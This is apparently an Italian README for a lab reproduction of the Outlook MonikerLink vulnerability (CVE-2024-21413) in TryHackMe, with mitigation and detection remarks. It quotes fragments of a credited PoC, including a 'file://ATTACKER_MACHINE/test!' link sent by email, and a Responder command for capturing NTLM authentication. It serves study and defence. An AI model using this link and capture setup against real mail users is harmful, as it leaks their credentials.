
Questo repository contiene note di ricerca e un proof-of-concept (PoC) di alto livello per CVE-2024-21413, una vulnerabilità osservata in alcuni client di posta elettronica durante la gestione di collegamenti in stile SMB/moniker incorporati nei messaggi. Il PoC e gli esperimenti qui documentati sono stati eseguiti in un ambiente di laboratorio controllato su sistemi.
Questo progetto riproduce il comportamento MonikerLink (CVE-2024-21413) in un ambiente TryHackMe completamente isolato per mostrare come determinati formati di collegamenti ipertestuali possano indurre Outlook a elaborare un link in modo da perdere tentativi di autenticazione o portare a ulteriori exploit. Il risultato è un PoC e una serie prioritaria di mitigazioni e suggerimenti di rilevamento che i team di sicurezza possono applicare. Nessun sistema live/non autorizzato è stato preso di mira.
| Strumento / Competenza | Scopo |
|---|---|
| Python | Sviluppo dello script |
| Linux (Kali) | Sistema target |
| Metasploit | Exploitation & accesso |
| TryHackMe Lab | Ambiente controllato |
Questo codice è scritto da CMNatic e può essere trovato qui
Ad esempio, nella riga “<a href=“file://ATTACKER_MACHINE/test!” ho sostituito "ATTACKER_MACHINE" con l'indirizzo IP della mia macchina attaccante e nella riga “server = smtplib.SMTP('MAILSERVER', 25)” ho cambiato "MAILSERVER" con l'indirizzo IP della macchina vittima.
responder -I ens5
systemctl start systemd-resolved

Questa proof-of-concept mette in luce una sfumatura nella gestione dei link di Microsoft Outlook: alcuni link moniker di tipo file:// che fanno riferimento a risorse SMB possono eludere il filtro standard di Outlook e provocare tentativi di autenticazione in uscita. Il comportamento qui dimostrato è stato riprodotto in un laboratorio TryHackMe completamente controllato e sottolinea come formati di link apparentemente innocui possano mascherare interazioni di rete. Sebbene siano state rilasciate patch e linee guida per il rilevamento da parte del fornitore, i meccanismi sottostanti rimangono complessi a causa degli usi legittimi dello schema moniker/file. È importante notare che l'attività generata da questo PoC è osservabile a livello di rete (ad esempio, nelle catture di pacchetti che mostrano tentativi di autenticazione NTLM), rendendola adatta per analisi forensi e indagini sugli incidenti.
Una regola Yara è stata creata da Florian Roth per rilevare le email contenenti l'elemento :file:\:.
